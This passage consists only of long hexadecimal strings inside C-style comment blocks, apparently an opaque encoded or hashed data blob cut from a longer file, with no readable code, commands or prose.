15639f8b1b4809728104e3175d5ad0f9dac1b35254451ad078509ddff37c5120cb8063b0751a2df8a*/
/*06750d6d6c5dfda9c5e4a75c1a2a46e76bea2f3ee6db70ac49b4b4a8e22b24d02f74c41d4f1af65ff7afe50f5edfed2742b7661e784e6ad148be43c8dcad7e7126fe13fb7fb5bb4ee64ba2f4ee49fb14a84c87cc47069bbef1e2856fc648fde66f9d1ca4aacc4718a1e1d98714a31a496efba50480bbcb41953581729ae5b5c7610d075251d0ad772f763c88f91dc5b8aa544615d69d1e6271e7a88b861d77f3b5d60071bf7101806ef2a0cc5fb957fc791e52bd6e376a849a06c639b505c786310398246e9ade2e926dd1ed89cb836fdbf3710f99f449e0e4a2a818608c7ca97665d91ed7caa0ad4c301e56d94017221ad34ba5826ef9ce0f623ae6a94252651db4baba5ced2135985254152716a16f935ad9323872705c8c67f7a95cc658478ab43d6ec12d4febc05a0f297f60c42f1cf58539ddefe448c3ca720f151fe655e28d4814328e02256d44f0f32b096edab48c1052635b92e91a0865b7cdff9e0220afaf5c1906cae37813cb9d793f3f63ddd185a6fc70a8f513ae6fb8141e86c0b74a929ff799dcffac5723fa4c5be41907823f0587d20ee02ce99667272ed75f3fbec2c7b936f88f8501aaed0f496f927c201217eb69d5945d4342d862855c2a8cbebb8348c01d444c9209ac959e3c7f4ae27f1605c1774877b13bc58daeda83877bb827c1e1b4db09b933a060aaed145c70214567d85aeb9deca2e0e502e82f16de2383bd86804bdf7b16249f16bf1f8e923f94dfe4a52808c2865970c8175f0d2025d6a7d8867e306cdc435e09a391e4f4821742a2055db6e0362b197ad59b4542def448bc68600fc8b79568d8d0a5987c00bdc4a0581e097e19d6e4ae523438b7f89c9de4d25f9dd1851375e33b58921e99415caaef41b3812916c6a7bee6db54a8d658146116830113916c09e099fb625f0fbb1137dd4fc67b4102475a8be8adbd3192940c17c7b75e5760db1c40cc0c3529b771f4faa20a8b9e3d54aacd5bcda4c5cf7e791c40e1d2f7c2e306eaff448c17441bfe9ac39480e18073a20e2c7c1ae53ceaa7e9e3fddbb400aac2b4750e524d24f31962ee13b12129938937c3a00483a5656354b65a1a67eaeaafa6cc2e67b713a18040a6edaf74546b335e7413495604cf716f61ffa6ed8f0a31c041d22ee1017eb7cfe91e668275dd73d7337fe9c720ad5cb26f3dccaf387d9986400ebeef354254d194e2b0ba60b0a4032408e82dc0e380148f71ca6c5dc364b249725c0936e1d62efc5f6ece15c67e8b1914abc5b89f43419e4b8396ac122ad352a6ba1af4850b8eab4fe02dfd072b39182b53a3373a83958ee2791e023c68fd9ad8ae3a6f18ca82266fa2b8fa37d14a2452f9f136d1f61396b5c510119c7fdce262435289a98991568c819e27da045bea69474001793cdc21e269ec72744b3727d7c55b0ce3e525ca574d1f3f7d2c8633e8b90d34ce21e725a00f6ca69b9abd9c21cca7c9377cff92843fefbe48c7b0639f0350c3908bd2a3904ca58ba603ea79f66739ccf8430ecdcbe5f92b09781fe5d769c2944802b33c018b404de41e7c6a7e095a30a131ecadf0077d77cb2c1cfadec5b5fd2fe0ca8c12dda038cde6d84ca6ad5d2a877470dd38dae5025f00a09e2489b40bdf1f0207ff2b80e44973690ae428d8f179afb0005107e443465d0f56d782a72e4f6d3824529bf9bc742f4c1004ce03166d27f57c906788f12ed2e9225dd45619fba0fa7c3da05e37098021b70fa8ea242c299bee9a0a9e124d14a8aab525c48227350309e50e69664ce59d1d8e3ad7a70e946d543d9cbad83778eb04f1d65b79c1ddae909abf4bc09a0a08c1293a75f796c6ae3185c054eb7f58da1e3d28b95009540b41b3fdc69fc09292629ccb620ce52322128a9e0c11aa1f9bd4c0dc044461a9c20a859d9fdac64e365309fa04137529feea3d09ade4a35e266d2af3e6dfeb011f2c016bf31d3836781f495d7b7b7481f95e53f5a16fa9bd27dd6e52eb1a5397950ffab858f02831b0b03957186cf733dbc97f3a3619572acb059dd66ef12079fa1e200cc837b0b0321b59c6a52dfa3db040641ca4fd6731ee29038be53c3d1bcac2567b66a051913253309f1819e46226ab0ac30dba3d68f50589aa749c49a9a281ea02505ec3a2b8f704741321e9eb95c0751739c380e802f1a4ba43ef2f088ba4dc5ac41ddb349ad09039c0293261b45562e2622bd8e52a1433ca58af5d99adf828e02de28129d029d37796b0b5dbe0d9fb92c038612a1eab71a5c96be288b4f9cd003dde9e0e2883ed469fd706d3aaeca2e8d482e8e63a47206e54e6126b5c60e496463847c852ae71f07a24c0a1d42cdf38a050c0024027893f8ec2c72e73c55d795f86a16c407e5050dc9f947691f855f6b8dfdad19f5e20e6c54efd478ae1f911bbc78d4b4da314410a47f6dc2f82756eafce2b1812c2b867f5cc5c4b7f579930feb8383fa5997571dc11a0cd0e266b74a6253ac17d4b3ca7dc3b44a6a4132373a5c38cee86b4c50ff507af0e22cba289c2a50d3efb70ffcc26e74c205cc1c76593f8c39ddefcc8d1e3bb1570a9cda781211a7b4d2243dfd98e265f2da7b4d2884b397fe29278e9e702ecf64bcf7185d4081b0f85c8e8d24b1c264cd39f8aca8c95d91decd5a97b37b907acb9f1db91f5c392ae8e85ff282c67db39bfeb7409e5068aea0c8288666822acfb9f493214c5b31ed5ac2f5da553c9f3e98a50222b4b57b1932e9cfb7d43228abb2ab22897e320b2570c9ad1125489c04234771f7ab191d19b817b9f1b67cf9e62464fff177bf2d51388d55035ad40d44f672725929e2ec04a48de*/
/*0d5992f62fbcb966237115be4c57b9b051c4c950f7c1aaf1e6447238b69895b55bf8c47b8092fcf5a11d0b76d8e3eae6e331bedf5704e36eba5bdaf55b2da307063192786d3318be7dd4cc4bee08d23dce066413495e4f24904e8115f76625b598cfe04471412a74c8debe95ffa65d9b94a124383266638c6c3b5297b83efd149986053a0d5782a7b9fdc3387702af5d82a897f4b5ba4860365ec2fabe0bd8154b2abb1cedb9d1d5a1627e94b18258873bca91e9a27aa2d1c84e0d4fb0d46a75b19a1ef190ab0caff649374bc499f152122013596a087edd41b969a7073280ac83523f9c70d8032f97f4b87542daee2fe8b0e22079856286e8c24e4f553bafe5f59387b14c7d8cb3429d5da5f892fd560db26c64263095690ced3ca42910ac571693686866ea6b152244722b819ce510d4a70fde852bd89143828f70c1c735fe4c02028d59af24cabd07c52b80d454e9cfbec5124b8f89e4e41107dae8e4b953d2363dd2118d065638d65457804ce5d9798db3471f49682cdd40214321a2f671e3ee2ce52073fcf4fb31d5f134b7f5482617554b68c03e1298876343a8c0e8c7f6eb0543f57f29fdc750a93392d57984d8d2a98b64564ea16f13b56865205a653bfd945f0762698c61900ef19790d6cc8f0fe3e71890a07a2e1bee67fef701ef542794f43852b87b52a82b55f2077974757dad9ec110387b4960ec57c1f8333730f3ec9781a566c84e49894f8fdc4ff218128e0de33fa8d40a3daad97d2fde1727d68d0be69f53d07f8ed0da6315336910d44aa2a20ae1f31df56a178efc770abee017229aecfb5d21554558a9f466f84ab487f421f8be3012f53f8404bc6886ebe9e111ee66d676d3fd7edba14431901da57367e162005c969a40ffd5bacb776a1f6b02616b3b2d101680336f34d9fea762eb8f79f5d8537ea7a60482eb1c0e45ebd5c31879ba852c4e68750bc6c10249ec72cbbda899a077e321f6022e1ddd30a764a8e8448e04436da95f9e7143c1539debdc766851f78bc7e64ad9857c72b3e2739d834adeb714211b6942ff7ddd7b026a6f3de93867bc012fc16c9c08387928e1d11336e2a87f205789fd11280368da416d41df253df5573d712f58d0f8e69d061a07515866ecaa83481a5d652811f9822ff501025f0da78c4733498e4f84fed5c644945fdf4575a0ef80ce4ae138a448462318db66f4d1ba40a11ef7ebd1e18fc34745f0eb6cd326b134aeb8f5b14dff56c5949e74926a736f7cc3bf9fc57fe43d2355821f28bef46f7c090f5468943d52a095a90e8db9fe76908154cabdfa42784144c523d128629c23a6448cc6e8bbaed21ac0e0b887abc6144e0a4c67b71bbf01134e62d55542406c3b139cea4d827f97fb62224dfde86998273629a3ed8345c5302862288ffb67423530122399855aebc189f8e3418341091c0d560759650f7cb7d662e8b9c949d8c4f1a83530500008bfc8a9c97dc10366d0d4b874df6590fdd79e12560f49c91a30eacc73c847ab5b1ab43b5f1361f847bcd82a3ddbb687c86e1e0f9feb894bb5215ea2edd507d573ad264a0f122079d5982bdceefb511b82afe72d5a91119e305e7b32223bb9e236010aec880053c7bef70bfbf368bdb379647368700fd1be2f76edda119c0a34500f30d6ce0e6ada6dc0da0e5506e1c477a2fce37b295844e6b573cf50d88f60bf77b44786b6c9fbb619825a65f41d452202d1c0552b4c36b0ceb62d903a4c3dfb2c201f04ff11bda4105100bb2d87bd4c94cf75f70f90c05aece3756aa3c4d20698ddf71607d5a5e104a0639c6fb77d86ef5bb3bce32d84a09508793cc54ebd57b8c391279859c3f1a2cd6353263f14612667f16eac3f7b33fcd61b1a5dbdccf6f4708562f69b978fc306913b6fa2dad843d7f6b883d6db4e0db64d93c29bba0b16f73e366811331b3a10b10ecbfe4441183f6ef915709a6612757acb912f8491430a21a78cd9d2b78d5be421d8bb3cc71a1e6c0300b0613d714c7284ea7f6a1c28bbe9cd112cbf3d0ba0292c526e783261718827328c6f6b7f612e539a4a41eb26ec16554eb5007b506c0c320e856d35196a9efbd6d59c9335ee14b8cb338ee9d42cd680f629027b07603e1cf692690a673e279a007d20eac2803263efe2709b02962536ff32181379d25d4fa032b977e13f5b10f3dd117f568f831d425494b727dd66145780b798129ba60008fd0dfc1143fb2b1e64f3bbeb6f464de1469a53b0096202c0e3cd5b401b3e6d73d7666eeef406cdb84aac87dffc3287b8bc0ec6c5051a35a87d2dd9897de015b2de3acfbcedb486f0a192aea80e6773e9405767aeff8d247760875ef1a5acb496048e1b577a2b5d070e5e51a5aae40af9933c60dcefe81defaf471085f113d7471ba54c6abc2cc25eba74b1fd9b321fa0cadfe409f101676454586154a2fdc592e673f39187d7b716a7e5dc7395161890ca16eae1ff48118cd0fe5308cf06a0cd20b7787194c82cdb1afebf80a837aa26511374aba3cd2fdb619fb346e7833a9471c73ff4ca1099f5685f2037afe7f639bdb70b331e9aebe376e8e229e0807385a16df27cefc45973d046280624ee3203447aa77a200ed8a91d5a55eb156393b83643622c7fd3a29323df7039856f56f431a58be8f06b9badf67108cb33f06e26b7032c9afbb0c386d5b01d88a27be508069fc0c079f0b9ee3f6eb8fce21b5ee940eba08fd78300d8dbe3ae5a7d60d960b72679a2f4f9a73d2c4b10bca1c178bb693c1b5f46ac31749a7c713ef4ab8c9ddba8c22364b50091a9b18a2696170aa4fb895225738eecb4431555dd5fd2*/
/*15d2bfc8bfa61f3a15f5b42716df486a021b0d83db2fa6d2872a72930b0b8fd2d557421a68fe07fda7019a17d3af832036124027016f9020cb18111897a7b3762918c76f044eee3121e70aea0fa8c42dec4e483ae25615a94c4be84f57e611038a70887c457af8674326b639c1395289d09592cee69ba3524cb5cbe52d3ec63133bdad05bda44f6e5c8d6a9d6ee70e98a4ef2f7ec1e67da071f33525fe5b5809a75ac6c085350c02a2bed0157e0b76cb508c3f52e7628c1364c7474e696eedaa0cdcec1028c726aaf496c8ecaf8db4f33a5c3df5049ecbb3cff51ed7215c0c1ad59a5ae3cfa772155bf832d9b138ced92e44a672e7ce34e01027ee91d8988b6fbfbb3992167d4a422ab2924ce1da40552405ae9066037d40f0a8c6c98d28436896bd2b54e776eeb250b9cfee77be1f398f2a7a20b6abaef40eddf625172f3bfd40394b1bb2b29f5314b9ed4113dc188e8b2e2e56073de4f7ca25bdc22bc9713769dcf16f7e6692a8c10bdb53d4f749408cea55efbd74267056ae1f6cce34e6b2e4c1dc9260e0f389ff73606dda8c25e5570eec8ea1e34cf892e77cb7c47d2771df45d3b42abc2605d0c16e9c44428564d9a599c05b2bda78a47dd02ac7cf48159fdae324c2af05252915c9de3b5b1ef7a8b5166717b7e9b03fda4b74fc779b12a7eb4932be6844d5c73854d3da5b633d57117d4d17d5f2b94f095b6916da365b8f0e3c83ddd48b093cb7ff1e0097ff85b14e62ace30e6c59ff8bac23f8a3ff452028a5fd66763f704c2f1bb15ecbc99364582cb0cd39f32ba5152925c91608d5499cfea7f8d3c9b067fae3489e1bd03082cb6125792f5b890e21b3d0209af42a07a061895e1aa0fa7f7666ee385a9819d26b2b12036c23d07786f1a1cd1fe766b9b466ede296f45b81be894fac2b736129316aa8b9db1a5d51fa990fc63d9d08cf5155aa5470d74d697388eef483de4074663ecf71e26cbea27544e94cfd5306cb9578896af433c2d0aa945a8baa6d1f51ef4cf268878c42c1f264ecb2c8c2f76c284d58476a016e20d5e37b915119e16c044e4f1c1f11181507281f0932d74fdcc6ea5ef5abe9dd30cad19aa65a98f31377598f03a7bf8f50dec28d59955fb7cc47bcff3748e3852da47f6c5c38e31999a8db085fb9134320a3c86a335e0cac2ca5ea567e2b6e26baf359934ee21430b873eb511efaa94f5ba806dd398ff8264785042f9eba0cef0522ebf47df07bad4abadb9d020eef97567aa592e3314ce29510a4d1faf3553036d1e13adf087f6ebdb661fcfb591d942031bf44a1c65a4935a6d7dea391e57c427011e8d7ebeb96a01a65269cd9a57e6db418f00a8c2f11d10264efc3b092c3e26147140e4e5d9aaf264d3f89cebee7045c595cabcd1e1b9ff50c3007a7fc0486efd95560f8cf09600b29d9c72daa68b6b2a5bbee4f96a361d42e2fc60b75959908afb93d9dc9c5cedd685fba876b7ca631744953f421fd140e972d73f0134f89a7871cc37b296d5ccf67799cdae9b638ea01b8a10610ddbf95f17ca071bd6df619adad684220afff9844038eaf80f3860686470e397c1f80dd96d4cef9f1bcf1288169569abebbb41be4868be98d8fe7cfa80af9b684398b30d3588952a8198fe90c8281714d27943860d0d03b1b3ce135909ef732aad53ea9e0a26e01bc7677fd969758a4fe6ef7257e89db8c7ef8f7c469c797132ed664fd5e9e635a4017022d19e343f6b1fd2463c8742c4fa5ebde24694ae48524aa46734aa46a2d2779101d7ff52841996c025ef3fe3d19305b452ef53cfb363b431fd4b53c89d1007338c4533f2abf06121b731686b4e6fc45e9a70f829264cb205905a21bb442f2b5bc16578c863867a9dc65a66cba65a7096380c79bb59af003183262153b1e07d09bd86ee7781bae85d5f48836090711c294049a82970dbae92c5fe43e64c1403a4604d662fe342bf98550185ac827541f5298891579f60a397bbb8be318ab65871db0d70a5d3cfb12aba42f2e7f449641a2e82f23d81a75a7fe425ecdeab77b591b0abf90e3b4afc6a32c8fc2f0501f7246c59b6712ce1b02ae34979a07346f1d834e82d464ca84d7d21a575c1f367b9517fab0a20e7db4ea4a108e1f8bc2e356c3b3f021351cd936cfe2c9a1b3236f00dbbfe5eb38c266c0d5e5b5e6413158adf0138570b07c2e27f75830cf679ec3bcec6b80dfad74bc5647109e51018cdd33dd9f7576b856d6377856a7a324ebf971c71f926b055f17d5eb01b7818d1e65859899af7952a7078ded121b2657c5862ab19be7b5c179cbd5b942139de44f949d9a1c0f0bc5b8098fe413dfd9d5fb0ea681ed47ad15a37b68d1a45da6e3d1cb4b200596012e561f9bdb086d673751188a229243e8cf51e9b51cc40af44f8c338d5886832d4d98ae84c1f5e67b59c782f0cfafb121f3680fc2d7b13848ab333c6243a00773352b03683b9ff132d78d1476852895a8281123119c8fe86438630b591d508f8028af30be57265e68029c30f8a8ce16421f3a5caf0ab61a23d55ef4b16cdf7c34493fa0bf62d3407c13e63032425028ccb19c3c4f12f532e6de2212be8e892d8bb6507475dcd23ac0c5eaf3cb3486960167f3ca1f613a847ec5bb240f45cf7b91d4d80d649c2568725e6ba867c9e11b2c9e4bdaa05726438d7cb7ce376cdfca07122a139cbb10335b8153e1750ed9e8ff2fde2c54dad52d53f0b1e5ddd7be39a75f2c2e3e65034768afc0fdef41e126af3a4f0dccb7efa61d7ac3ce399f5ea704cfe4ec3b471f82698c0a8f972dd277b72777c3c4079008096585ae42ddb27dd9f8060c1b*/
/*d8cf3f09857bf3f993017c728f14b0f00d1b492e1076820e668e25b6229e0b0ac98a9d8b3c8158217cfa49d90ba106084040b74b1a6de459e02f1e0ed465b7f2c696de0f4bbb11ae837aacf2d0fc3ca4be58f03593a094b33bf5bffc8f0f0d2a7e60b252195efee9b611fe26e2c23f53b2b020e6ed2c8ed7f91b60831ed2a6990d825333fac86b231f11c9f9d48b445c8f705bf8e5470260c808bf91286387849fcec02f9b138da03741ff37040c654f02415e1366ac7df183b59ae52114241a9fb8fa4220f0f6444e98172da7cdc8616c658aaee3d3cdc23c3734f953e372c3e5e5dc8c5deac33d4dfdfcd0f4cef0dd8387d1897ccef253780833916aeeb9fe916b71eb0aaac5f12dba5668d9676ad4564f28c353998e2a6bfa30429edcb33b694c95741e11e0a7dc454bdc0988da889c65dd1618290e6e51eaee752a72a5a79a5455b79159861a9e1b36b410d10297619e1307f93093fa80ebfc5b429bfa94d27609eda14413ce0be7ec535769b2b15d3311b15c0180265c44f773669b651970bedeb2f68b123c41cd67413066432205f582ad52e2d2cffa913e97d931a6a948a58cfcf06c903395e41d719ead6d1809a72301a29f39ded9c86e2a61b23e36e591982c1ca433413fa94402580391b7c04a67d5d346ae34407c989826aa306df8c450988269f6eb0aac8cd19ff8786b83650e41d8ba2f1904282643c9ab5193bd3c3e4a446c41b2aa79a27af810a24a5f5a82960d901fed33a7a5325fe29b82c5be7fe001bf5482fc2c820bbf2edaafe1ad46721e0d23055ebc9d85b07455e900d6f680d8628cc47a93d24313824d1b1067214d2545944b56e3cc1b2c718161b363350cba1b39ee04212a9c80a1982ef056b833f3555707c442267e8c560658fdb315d5a9d844e90c57c1ab95e68f6e444845eb3d36b7ea750ba5d547242d4c30dbc312e60b81c4f0c5e9a5616c4827a4f1d848f01e31d810e1a7c90681fcdf5752719828dfdac868ac3d936334706e45495e6b5999ed4d798b7c9b07b0be3e761b07b5e11e22760f2207ee1a575eb82c207feb01d2dea77809d007543dfb220bfbed3c8f6f5b994ec2dffbda7f0d67c69964cfccebc32af46efa26dc18f24d607f7f99b1aac36127ec03f72f27077225141513c01f59fd8b8440e69b6236ffc74e02662efafa68972805612647dcb8a287bf740231b43b6ec2a0a35b305b7171f03c6728994493474c58dd513d346954981d834f5e4f1a18682f018f5ad359bf098b49f5ccf3036520fa63c2b7a05f9c620a71ef4b4e5fd05d77aaa4e64aed6b3cb5beae0ad57a899c638693278cda4cfd637a8a572e2a7c5f8588eba95714bb0a6a1c3f80109eb80df95ddff869036349db17e2968dde2400080dc2204fa40db86bed1130e25ec34781fe06024abd2dd1682a7cc00e93e2fb44a46906584ba5873a6f34abf8bced0fab9d2977c2f10f4d4c8487b9ff87efdf961e572e073c677b5e962a37e467434d8c74e5d576ccb9340105d66e60294d35978e3d5b343f451d3c5b0e5a4cec6750245b21c6d7ef72a17c2801a94eb3cccadd78344ee12cc64c52ac49823d6a57266119b8469b7c6d047676853cceec3609b7fa47f29c5ac5588195706678a7fb6c4add65280e63fd1baa5b9790410d1580b140415fd515abcb8584d310a94fa35a46d65af0fa82628d573f5708d254e3a9e1917c39694fc77df2941d60457c4773c583322d29a39275ca725df5402872fed2cf795e084e4ea6e2c8b9213216c42b8c88d744bbc5d1e481c43b4f9919237e776a319f9b7a0515cf3f3827daf352bb54e37bdd5bf9c22d814f00334c244ffd7bc9fbb448a03889b26e5abfda909742dcd3ce13e5d428435e7e44d37c7133f9787b6d767b080f5b601b6ac4591c39e1c9e46f8988521c38ba53f2de1daedfecc226eacfe6e2c1688685742a1799cadd1d4515e2aa9c2abaa7cce399d400d35efe762d03e2059b649b42ba97617db75f5f642b441e8b08a18eb274b4bec7a8c320f5c2837511f8a46fcfbdf1d2918e6816bb23c20f87cdc9f6fbdc35bbd353ffe04335007b2462aa939fa8b87f5e784610e0ecb9140d4f41e138916099d78121dd9648de04ada5849b3532f6c967f5d9435398624d93bbd8c3528ca560c96a5fad4375fd695cbeb700701df892ef283e775b71df39580bae6ae56943953d5bb8aea0b72bede5343c7eeaec08c2809cbd71c1d7724ea04e428ece09a28fe21dad5803c2c912430d158337bd0e92d6fe180febb579c5fd4da796680331a1cd8ea476f92b76e4543c57de7538785974e333dd99a54e107f5dd00912a6251c5ae2847be6a0f2564561b64157e62e5b5f5d64ff2e99646e202599c7d01d2e2f87f1cdf6c63a6a101b69ae8fe60f0228a2402c5f2fde723482cf44270164624d3a2a3e319c41b706f3b6e086aa06d0c3f94c0bedceef4e509afa582a7b1613dd38cd63e3ec69cfc7d58f164604fc2d6d0145cf180acccc2c81caf64c288cdea10cf705f394b12722b84038ff689f193399dd5e19715cde506e3ea00e416ab7fd6dbd693eed5e56443cda8142aa692e97e7e21880b5d7b0ec941502e22fbc32a011c6363900f0f0d943addd6ea79816e40df05742ebd7bbd200c91e38fe989a7fbffd2bf39f262c20d72826ab0d8ea7a9fe8f1d73b1534f9cbaaf3e42ee0f5a15f1d0e479e382921c25ed6b26622a3fb7b65c6a47068f322fea2081512def24221347d5f476da0477a2d8c3e3462b97dccae98ed3683e681bde7bde0393fd1f663dcb887a0552eb68a965b240b970561af2bb208cdd3edae459*/
/*c5fad655fca199a230c17b0677fd92750ec02b55d77a845fb734775f281b545bc11452ec69078d623be5f07d88f381bdbebe35887f17623817f92ae764fcb7956e1984e1e08bd4e92f906aac4830bd457b99e8cd91f0f37a8c686acaa3451b35fd601f81bc178e3577ed81b2c79e04a47614629b8c9a4ac48e128e7d48c8105cbd93e96e133a43ba0e51984fe75a20484834ee223e4a97669859658a09452fbd67515bb23c5847218186b61069f0da711fb9ae2ee0a8f683eb6a7634d8cf4a05d2ec9a4a2abd0f58d9863e9c83f706b6e3a8c0fbe36ca18185f9fd6b6fe4c968f211405a574e1bf06ac51c7dbf04d699db485719cadf94587963fdfcfe450eaa31b801fcb367074495cccf3ab5f3bd6c8bd87fa0388fffaa86f92c3c8210e60da883b14100658bc921c7326ae92774dd062778d8984d77015bbd51779599d9ea02b901446ba48ad8380bb7a6cd170c5d23986f45ef43a275e7a938e544e7a7de9c91847ea128bf4bfe722f4947b0e3674aefb49dcb5d090a8e4665715f585a3071a34a084390e15a3b3a002c427e5281b62c712726dee4ab405b4d6b0064fd011b6d15fc149024d64c7a42f5d0bee6f9a3963a273287056bed2f029b1bd9cde0da10b52fe0920181822acbaef017772e1a5350a366b1a373ea9a49cd1d515adbfc9fc7ed136b76d77ab5006937d939a8b32ab6286f40e48803f2f4b42b94dc3c7ce7136ec5b9f7dc52a794ba21a12e3a99b04a5c85f2b7d581c108651f94c0e00f095dee051d34833fbf291c0eb8466279c45cb9e4acf7ef5b0136a9548a5ff9009832855a7924421ffd493b3aba84e0ee772c740b457005c0af1ee21643279e72dd22a8f2b1581d6635b4f436e5803e6e79210dad94ada139cb61866e1e10a7a4df1d4ac99bff6531550b315bad021ea2c44397cb97c6a53d31402aa681d4f6e7431f8f0d3772b1190d36f819f3c97f8487759d6168d7b7cc9cf6ee0e4f7123278425c489fe848ccc50f195fadb497b4be1ac04f69516656ef615866741597adeae0e59ee1ed4ff94c85c2919a2fbedd2adf9bac8a83fb4f66e4fde3b0bd054ae8bd74ed570c9c9f2376f66e88c1cc48b6730c521f17f7cb19213e9dcc79432cde60e4e8ee815db94c86ce9ffbd269e35735f2344f5c6b1fe3e1c3affc3511697b9c113eb8b2dbde3014bde7ca5af1b86c5ef860e9b517d1d9f307436468a2d34be22730e2798f8f493510794dcc815c3ccba5023279cd1f2f55e49313f6e62063732a34cb504684050930061d93a1cacce34445080a0e57302e893993382747443782b3c46f0e886246e9cdabadc31ca53a7e97b1f6c93f0a3354974f05df0e3e407b31a6dc2b7f1a212ac2f8bbc4beb20c4e2ed3f9b9922af06def1ef01493c4a285d996b6aa1ea87e69e8dd65098c25eacf7842515745a2ee8555d7fba6b0ccb876512bcb182ec418ba33637007790cadf325deb58e9ef918b1935054be049ad2dbf35ddb9bc0581a9938f06c089ee12dfc4775aa07fb501c79142458d1cbfc33f824a83b36ba868c46cf0d7980d6f342515cc3aa27fde70de92aab51fe7ca603324cc99da6bf3477d0541b52a13db42fc1f93b74eb2b5dbd8ce8be49d71d5832b3ca0b7b08b11dcea991325783c445de50853439c7606b9a244a3ecef541b819c4f072e55bf770722afe9971252bd0e84d2d8d2f776dd9f16bd050b35e9fcc3b885639cea66e1544a201d06b514ff90c06824dc03041c2bc5c77ab3347d65a1ac0265c6bffd7dea4ff9e7495d74a132ce13d862d9842f2fda6d7fb42cf36892adaeaeea572d6c8c8e265c9434fc117b17b03a845604bbdd607bf0ba15fcefc3ce2525222b517104bd1592f2675b043d65aaf0ac529215f7814e240160419ade2847c5014304905f0c00da239ab879d9dae36867a865c8a12dc234ee57d90cd30c45adbb42bdcb8e0e3ecf47ce176871a4af093ca746b118501309f2dd29451b5c525434d7ec9502a0f9764ebe79e5cb2badc2556873c9da100ebde2bfb4400b55d2781f0aaeac38613497717351990e8644d2bc2be341bede5d2f01639d6e4001f8c07cd372f8bdfe2131fd2bdd243e20cc0edd174b19709d97c5c7a653fa439ca887eed5ba9a6f636fffa7c9f83cfbdf12adc9e404f9dd87e5ca2650a901275f7454d0eba02919ef11ed55b3b7275daadeab8e07422a7722173ccd55fe8d631b0824b17b2dba7623cbb15a4e4215fd79a7208b9a22e483a80d0a6a68cff3dac3ff452759f74edf3a4cbb735a77aa9a69eb40088bdfb3b053777530c5be828525164c78b36cb7385471b23e81eb3ab8d12830146ba30193689601397d93b48bfe093088bd26f3e16878b8e178b56b463ca9f0f10e38281db723ca1fa7643f744829a8bf54d96bf24469f80de738f9fee82579d540e3ea036b3f7e271ef0168e99d7ef5f036252d2571127c26f5b93092181db8b18a039579ebb88ff6eb0b71b91b3fbe82990296314c8699fbeeb1cb1d76eb0c15daecd73ce9d2556111518a87b7fc3b946c31e2ae5b147fcddb45730aa4a72c25140618ba2c26f30106da0b39d29c7372326787422f118fabaaf757a310ba66a5f10e59d9e5abf8821fc0ae2f2ec5016eda7c422d0cf67d033589604c63707640597eae77a29380966d75b5115cdd1621362b35643e6de054a05b25246b04fcd42add71aa8c6cd887248c8faab9fa9500284822421b085a4667dbfacb001ec9012dc96bd08073cbadb30c61d753dd081a030121b7b1c23db50fef4b2f67b115d82db048ec7548ef68d38d4935d9c6194bafcc003a230b7ee4e61*/
/*6845618a145c30edf4fb9afd9dcafa2fcc91a2be541775a93ee9cfed63580a0f06e7c5545222ce9491a87c7be3cc6710ed246e70a0473d3cc8ef65b8a5fdb8103031d4bac746a5cbba6ca98ab5c87b055f668d2771ab6f6f75269b8647fc0b812ddb791260168d172aa21f5b815a81df1e824bfdefd2fd9b007e768c9b9898bb776a6d2df3d8c964d956812c4e18095e365d087d5b6676911e99438e954760028c7dbdfbc701c0c20f69ff8e18b99e495c276a08e81764759bcde28449eb354625d880f45320da971a2413abd39a7ee9a67a372c65426006a8b0898ceccda23ef0f1002a337ce862d6f1803a32e8fe5e8e17da246ca8561b8e5591ebb48c92b0e8ea2e1f28378f0f3a8f39cee668afa921a753deb10a03b8e22f111a0462a872e03c82211c3583ca3776424a4dcc2128c32e63a37f74590bb75d3129646b6e0f31335be60c3360173afcc851ad056434dc079b0a8e6eeb174a7ce4e77b352cec1c5dcfb11a3d604441c0c6ed087a54d22a1b5d65677f222e6c6ae6ab938d6f16398da1fad923738dd7a3b42016d87b41ef64ebc1e00de2c1400f251eadeb1994aa24027f3a69c2af115aa9531c3abb90f820e0710496c2e8408fa2638d74f158bb6095c10204baa814735c7ee2fecf62011cc94f6377bd9894ac05aa0c4c4f77f9815589ac826d70d818f2df0c7ca4e3935732326da0b2be3c7cc5b524b786db305ff0c71a2d6aeaaccdf058a9d94829bcc2e106d697481212b0651e5ae33a30c700e5887bb255d5f4def5464a91744db0f69dd91989105506e5906b8b81769c69576fa6dc9b5cac9ad21ec66f2a6995540a10c8be8df26b89fb02f32f95b053ec732d0462fb0fb3cd117d425c54e9af6350c89e277375a0846e9d4863334183a0590c317f986647e8d6e4f8ea08dd875f422ec8cc59f8c856ac167fe48a5446f7b0486510bd92c1b489f433bd2f54ce7fdcec0152804bf0dde62ca71c38959899363c84c33841b4f0f3d959747a30c4dd72fb6b5f95b19300aad664ecb0150a148a8f7b6bb3c74e8a45955b7e296bc34f1f83bb484b2a4e12cf1bd3e10b35060e795e5fd3c4dd834bb99955a903892bbf4f08fdea50008aec8ebc61e5ef2e9f7d99e1c3d25b13ea3c834a2e3e52336fec1db9c7948dc47b830580ba0344420f7e439610f67f7402843ad8aa33dcb640cc393aa84ca612b5dc40c41a0374d68dfb9a3d2c7952a927444ed7c8a396551861261b0992b16719f4662e39b11f400ee212ecf081d67051b01316be9e3a2c6be6336352a45f534f82d9688769ad08d7b8435fdd2c9cc8dc5c226290075c83bc37f7b3b6c25a007e4a001ce3f35628b38e38bf22882d7f3cdaceba80f904427c410e63583f8b78b26a8cba5241d055024d2816a02ae9fc4a9429fb98bfe6df39478d2026390c965792d81380819126dad6f072e0130dbe5b318448db60c369561ff5fe1ba4e96437a47a1cd20b9435e629e841be5b9d6d27d58cccd3850066889d0d979f1ba694566f2400ee53edd2a7698c045a90a2b54fd8ce83d59df77f3cd6acb884757aa39582e0795046675670e15ee7ef3b37c1a348619d7460fba28a3dcd4040ab77247a79db4a87a5bf9ea3b7b6875bb5d67fcb90d89d5212288634f241861543f416353eb1712be7d938d6a155e8fee81dacd2ead41354037afbf625840943781cf736bcc743cbd973c8a2e1f3a0499e15c88af5420a8e4759f56c9f7ae114c32fa94a27412e2b7098305c67d3cfa447562de2eb3b6934372477ddeb749e9199bae6a231ad0a3ff83fd4db34c62f691bc721ddecac77adce5d571377ec353687b06c77bb3d6e5a977c6db26db77b301873d1cd0ad235e978af6290fa7f1ccca6591a486a77d5eabf8f85ca964cde188130bb01fb902cc3ab8251562b33c3c384ab2ab748a562a1e4f7cc9c6e194c35f7913f552e158c43b09707c0562af1140d5aae40e88b391b47d0a2f77a45c91a35551e71999587abd204549d6ec3b446d90ebfd573a02be073b9e4897055a5882c20c4d745c72b6956b3edf7e11034a16b3b5e26d1c4ce063285fb5f36098f8918757e7e